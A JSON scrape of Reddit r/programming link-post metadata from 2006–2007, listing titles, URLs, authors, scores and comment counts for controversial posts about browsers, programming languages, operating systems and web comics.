    "url": "http://www.xkcd.com/353/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_61sm6",
  "url": "http://www.sitepoint.com/blogs/2007/11/30/internet-explorer-doesnt-just-suck-it-also-blows/",
  "permalink": "https://www.reddit.com/r/programming/comments/61sm6/internet_explorer_doesnt_just_suck_it_also_blows/",
  "title": "Internet Explorer doesn’t just suck, it also blows!",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 8,
  "createdAt": "2007-11-30T08:55:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.sitepoint.com/blogs/2007/11/30/internet-explorer-doesnt-just-suck-it-also-blows/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_61p64",
  "url": "http://blog.fawny.org/2007/11/28/googletags/",
  "permalink": "https://www.reddit.com/r/programming/comments/61p64/google_cant_code/",
  "title": "Google can’t code",
  "body": null,
  "author": "sverrejoh",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 49,
  "createdAt": "2007-11-29T07:33:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.fawny.org/2007/11/28/googletags/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_610kc",
  "url": "http://blog.reindel.com/2007/11/20/reverse-engineering-every-programmers-dirty-little-secret/",
  "permalink": "https://www.reddit.com/r/programming/comments/610kc/reverse_engineering_every_programmers_dirty/",
  "title": "Reverse engineering -- every programmer’s dirty little secret",
  "body": null,
  "author": "giantjamsandwich",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 9,
  "createdAt": "2007-11-20T13:02:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.reindel.com/2007/11/20/reverse-engineering-every-programmers-dirty-little-secret/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_60uit",
  "url": "http://www.bubub.org/blog/ubuntu-cd-sticker-free-linux/",
  "permalink": "https://www.reddit.com/r/programming/comments/60uit/i_explained_to_him_free_cds_that_contain_a_free/",
  "title": "I explained to him: Free CD’s that contain a Free OS called Ubuntu. He smiled and told me that he has yet to see a catch-free gift in his mailbox, then he asked: “Is it from a religious sect?” ",
  "body": null,
  "author": "tntnews",
  "subreddit": "programming",
  "score": 48,
  "upvoteRatio": 0.53,
  "numComments": 55,
  "createdAt": "2007-11-18T02:40:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.bubub.org/blog/ubuntu-cd-sticker-free-linux/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_60mw6",
  "url": "http://xkcd.com/344/",
  "permalink": "https://www.reddit.com/r/programming/comments/60mw6/vote_up_if_you_want_to_watch_xkcd_1337_the_movie/",
  "title": "Vote up if you want to watch xkcd 1337 - The movie",
  "body": null,
  "author": "fduffner",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 23,
  "createdAt": "2007-11-15T07:35:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://xkcd.com/344/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5yupe",
  "url": "http://www.economist.com/daily/chartgallery/displaystory.cfm?story_id=10009916",
  "permalink": "https://www.reddit.com/r/programming/comments/5yupe/it_managers_should_think_about_moving_to/",
  "title": "IT Managers should think about moving to Switzerland [Graph]",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 28,
  "createdAt": "2007-10-22T15:46:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.economist.com/daily/chartgallery/displaystory.cfm?story_id=10009916",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5yqg1",
  "url": "http://www.dilbert.com/comics/dilbert/archive/dilbert-20070930.html",
  "permalink": "https://www.reddit.com/r/programming/comments/5yqg1/dilbert_comic_carpet_fishing_its_a_sport_i/",
  "title": "(Dilbert Comic) \"Carpet Fishing... It's a Sport I Invented",
  "body": null,
  "author": "sid13",
  "subreddit": "programming",
  "score": 66,
  "upvoteRatio": 0.54,
  "numComments": 42,
  "createdAt": "2007-10-20T13:50:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.dilbert.com/comics/dilbert/archive/dilbert-20070930.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5yhe0",
  "url": "http://diveintomark.org/archives/2007/10/16/oh-good-grief?retitled",
  "permalink": "https://www.reddit.com/r/programming/comments/5yhe0/last_week_in_a_stroke_of_breathtaking_arrogance/",
  "title": "Last week, in a stroke of breathtaking arrogance, Apple redefined “web apps” to mean sites designed for a single hardware platform",
  "body": null,
  "author": "Arve",
  "subreddit": "programming",
  "score": 93,
  "upvoteRatio": 0.55,
  "numComments": 60,
  "createdAt": "2007-10-17T09:13:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://diveintomark.org/archives/2007/10/16/oh-good-grief?retitled",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2zmer",
  "url": "http://reddit.com/info/2mg72/comments/c2za19",
  "permalink": "https://www.reddit.com/r/programming/comments/2zmer/this_reddit_thread_has_lasted_over_one_month_1_1/",
  "title": "This reddit thread has lasted over one month [1 1 2 3 5 8 13...]",
  "body": null,
  "author": "bobcat",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 16,
  "createdAt": "2007-10-13T00:48:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://reddit.com/info/2mg72/comments/c2za19",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2qsi5",
  "url": "http://www.flickr.com/photos/krazykory/384035810/",
  "permalink": "https://www.reddit.com/r/programming/comments/2qsi5/windows_vista_stunning_entertaining_dependable/",
  "title": "Windows Vista: Stunning. Entertaining. Dependable? [photo]",
  "body": null,
  "author": "digital",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 26,
  "createdAt": "2007-09-18T14:04:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.flickr.com/photos/krazykory/384035810/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2q2u1",
  "url": "http://www.hackles.org/cgi-bin/archives.pl?request=217",
  "permalink": "https://www.reddit.com/r/programming/comments/2q2u1/xml_is_sexy/",
  "title": "XML is sexy",
  "body": null,
  "author": "stesch",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 22,
  "createdAt": "2007-09-16T15:39:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.hackles.org/cgi-bin/archives.pl?request=217",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2oqkl",
  "url": "http://www.osnews.com/story.php/18600/Richard-Stallman-Dont-Follow-Linus-Torvalds/",
  "permalink": "https://www.reddit.com/r/programming/comments/2oqkl/richard_stallman_dont_follow_linus_torvalds/",
  "title": "Richard Stallman: Don't Follow Linus Torvalds",
  "body": null,
  "author": "masta",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.52,
  "numComments": 172,
  "createdAt": "2007-09-12T17:33:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.osnews.com/story.php/18600/Richard-Stallman-Dont-Follow-Linus-Torvalds/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2j3mx",
  "url": "http://munfitnessblog.com/a-new-beginning-for-mun-fitness-blog-a-better-one/",
  "permalink": "https://www.reddit.com/r/programming/comments/2j3mx/do_you_make_this_mistake_in_hosting_your_blog/",
  "title": "Do You Make This Mistake In Hosting Your Blog with Google Blogger?",
  "body": null,
  "author": "munblog",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 28,
  "createdAt": "2007-08-27T12:46:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://munfitnessblog.com/a-new-beginning-for-mun-fitness-blog-a-better-one/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_26twy",
  "url": "http://blogoscoped.com/archive/2006-01-05-n11.html",
  "permalink": "https://www.reddit.com/r/programming/comments/26twy/rejected_google_holiday_logos/",
  "title": "Rejected Google Holiday Logos",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.53,
  "numComments": 1,
  "createdAt": "2007-07-16T18:15:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogoscoped.com/archive/2006-01-05-n11.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vcsu",
  "url": "http://i12.tinypic.com/5yc14dz.gif",
  "permalink": "https://www.reddit.com/r/programming/comments/1vcsu/the_first_family_circus_comic_ive_liked/",
  "title": "The first Family Circus comic I've liked",
  "body": null,
  "author": "eurleif",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.54,
  "numComments": 14,
  "createdAt": "2007-06-02T00:21:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://i12.tinypic.com/5yc14dz.gif",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1po78",
  "url": "http://programming.reddit.com/info/1po78/comments",
  "permalink": "https://www.reddit.com/r/programming/comments/1po78/int_i_5_i_i_i_question_i_php_13_c_14_why/",
  "title": "int i = 5; i = ++i + ++i;  Question: i = ? ;  ( PHP: 13; C: 14) Why?",
  "body": null,
  "author": "frayerman",
  "subreddit": "programming",
  "score": 61,
  "upvoteRatio": 0.56,
  "numComments": 137,
  "createdAt": "2007-05-11T09:32:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://programming.reddit.com/info/1po78/comments",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ivfi",
  "url": "http://www.udolpho.com/weblog/?id=00712&title=Why-you-should-never-listen-to-geeks-and-in-fact-should-despise-them",
  "permalink": "https://www.reddit.com/r/programming/comments/1ivfi/why_you_should_never_listen_to_geeks_and_in_fact/",
  "title": "Why you should never listen to geeks, and in fact should despise them",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 104,
  "createdAt": "2007-04-18T10:31:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.udolpho.com/weblog/?id=00712&title=Why-you-should-never-listen-to-geeks-and-in-fact-should-despise-them",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1hcou",
  "url": "http://marcja.wordpress.com/2007/04/12/the-most-revolutionary-microsoft-technology-youve-never-heard-of/",
  "permalink": "https://www.reddit.com/r/programming/comments/1hcou/the_most_revolutionary_microsoft_technology_youve/",
  "title": "The Most Revolutionary Microsoft Technology You’ve Never Heard Of",
  "body": null,
  "author": "marcja",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 16,
  "createdAt": "2007-04-12T15:47:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://marcja.wordpress.com/2007/04/12/the-most-revolutionary-microsoft-technology-youve-never-heard-of/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1bzs6",
  "url": "http://picdump.home.mindspring.com/dns/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1bzs6/dns_explained_with_ms_paint_nswf/",
  "title": "DNS explained with MS Paint [NSWF]",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.54,
  "numComments": 13,
  "createdAt": "2007-03-22T04:17:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://picdump.home.mindspring.com/dns/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_12ae5",
  "url": "http://www.networkperformancedaily.com/2007/01/ten_years_of_pushing_for_linux.html",
  "permalink": "https://www.reddit.com/r/programming/comments/12ae5/ten_years_of_pushing_for_linux_adoption_in_the/",
  "title": "Ten years of pushing for Linux adoption in the workplace (and why I gave up.)",
  "body": null,
  "author": "motzer",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.52,
  "numComments": 89,
  "createdAt": "2007-02-01T07:22:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.networkperformancedaily.com/2007/01/ten_years_of_pushing_for_linux.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_11wno",
  "url": "http://www.tailorstoday.com/243/notes-on-making-a-poster-of-every-book-ive-ever-read",
  "permalink": "https://www.reddit.com/r/programming/comments/11wno/a_poster_showing_every_book_ive_ever_read/",
  "title": "A Poster Showing Every Book I've Ever Read",
  "body": null,
  "author": "BioGeek",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.52,
  "numComments": 21,
  "createdAt": "2007-01-30T15:08:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.tailorstoday.com/243/notes-on-making-a-poster-of-every-book-ive-ever-read",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_11par",
  "url": "http://www.gameproducer.net/2007/01/29/the-most-efficient-way-to-get-what-you-want/",
  "permalink": "https://www.reddit.com/r/programming/comments/11par/the_most_efficient_way_to_get_what_you_want_i/",
  "title": "The Most Efficient Way to Get What You Want - I cannot stress this enough, but there’s a simple fundamental rule in life: the more you give, the more you get.",
  "body": null,
  "author": "motzer",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.51,
  "numComments": 66,
  "createdAt": "2007-01-29T17:58:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.gameproducer.net/2007/01/29/the-most-efficient-way-to-get-what-you-want/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_11otm",
  "url": "http://www.alrond.com/en/2007/jan/25/performance-test-of-6-leading-frameworks/",
  "permalink": "https://www.reddit.com/r/programming/comments/11otm/the_permance_test_of_6_leading_webframeworks/",
  "title": "The permance test of 6 leading web-frameworks",
  "body": null,
  "author": "alrond",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.54,
  "numComments": 22,
  "createdAt": "2007-01-29T16:58:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.alrond.com/en/2007/jan/25/performance-test-of-6-leading-frameworks/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zqty",
  "url": "http://evang.eli.st/blog/2007/1/22/java-people-must-be-stupid",
  "permalink": "https://www.reddit.com/r/programming/comments/zqty/java_people_must_be_stupid/",
  "title": "Java People Must Be Stupid",
  "body": null,
  "author": "Harkins",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 32,
  "createdAt": "2007-01-22T16:03:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://evang.eli.st/blog/2007/1/22/java-people-must-be-stupid",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_yohg",
  "url": "http://wskills.blogspot.com/2007/01/mysql-no-longer-providing-windows.html",
  "permalink": "https://www.reddit.com/r/programming/comments/yohg/mysql_no_longer_providing_windows_binaries_for/",
  "title": "MySQL no longer providing Windows binaries for free",
  "body": null,
  "author": "picktwo",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.53,
  "numComments": 37,
  "createdAt": "2007-01-16T17:12:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://wskills.blogspot.com/2007/01/mysql-no-longer-providing-windows.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_wv7o",
  "url": "http://www.linuxjournal.com/node/1000159",
  "permalink": "https://www.reddit.com/r/programming/comments/wv7o/the_real_firefoxkiller/",
  "title": "The Real Firefox-Killer",
  "body": null,
  "author": "gizmo",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 39,
  "createdAt": "2007-01-03T15:19:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.linuxjournal.com/node/1000159",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_uk83",
  "url": "http://www.gearlog.com/images/9111.gif",
  "permalink": "https://www.reddit.com/r/programming/comments/uk83/binary_sudoku/",
  "title": "binary sudoku",
  "body": null,
  "author": "fishandchips",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.55,
  "numComments": 12,
  "createdAt": "2006-12-12T12:59:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://www.gearlog.com/images/9111.gif",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_tsel",
  "url": "http://predius.org/blog/2006/12/05/why-django-kicks-ruby-on-rails-collective-ass/",
  "permalink": "https://www.reddit.com/r/programming/comments/tsel/why_django_kicks_ruby_on_rails_collective_ass/",
  "title": "Why Django kicks Ruby on Rails’ collective ass.",
  "body": null,
  "author": "predius",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 63,
  "createdAt": "2006-12-06T03:47:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://predius.org/blog/2006/12/05/why-django-kicks-ruby-on-rails-collective-ass/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_t8s1",
  "url": "http://www.turnofthecrank.com/2006/12/01/the-5-books-that-every-programmer-should-read/",
  "permalink": "https://www.reddit.com/r/programming/comments/t8s1/the_5_books_that_every_programmer_should_read/",
  "title": "The 5 Books that Every Programmer Should Read",
  "body": null,
  "author": "wtf242",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.55,
  "numComments": 36,
  "createdAt": "2006-12-01T16:45:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.turnofthecrank.com/2006/12/01/the-5-books-that-every-programmer-should-read/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_q4xs",
  "url": "http://www.cs.umd.edu/~bederson/user-advocate/2006/09/switchback-horrors-of-windows-power.html",
  "permalink": "https://www.reddit.com/r/programming/comments/q4xs/horrors_of_trying_to_switch_to_apple_os_x/",
  "title": "Horrors of trying to switch to Apple OS X",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 21,
  "createdAt": "2006-11-08T22:41:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.cs.umd.edu/~bederson/user-advocate/2006/09/switchback-horrors-of-windows-power.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_p8nv",
  "url": "http://fleafounder.blogspot.com/2006/11/hacker-wanted.html",
  "permalink": "https://www.reddit.com/r/programming/comments/p8nv/hacker_wanted_stop_drooling_over_reddits_fortune/",
  "title": "Hacker Wanted: Stop drooling over Reddit's fortune, start earning your own",
  "body": null,
  "author": "os111",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 10,
  "createdAt": "2006-11-03T15:46:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://fleafounder.blogspot.com/2006/11/hacker-wanted.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8ybo",
  "url": "http://bash.org/?37829",
  "permalink": "https://www.reddit.com/r/programming/comments/8ybo/bashorg_a_redditor_a_language_holy_war_does_it/",
  "title": "Bash.org, a Redditor, a Language Holy War... does it get any better?",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.54,
  "numComments": 7,
  "createdAt": "2006-06-29T09:22:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://bash.org/?37829",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
}]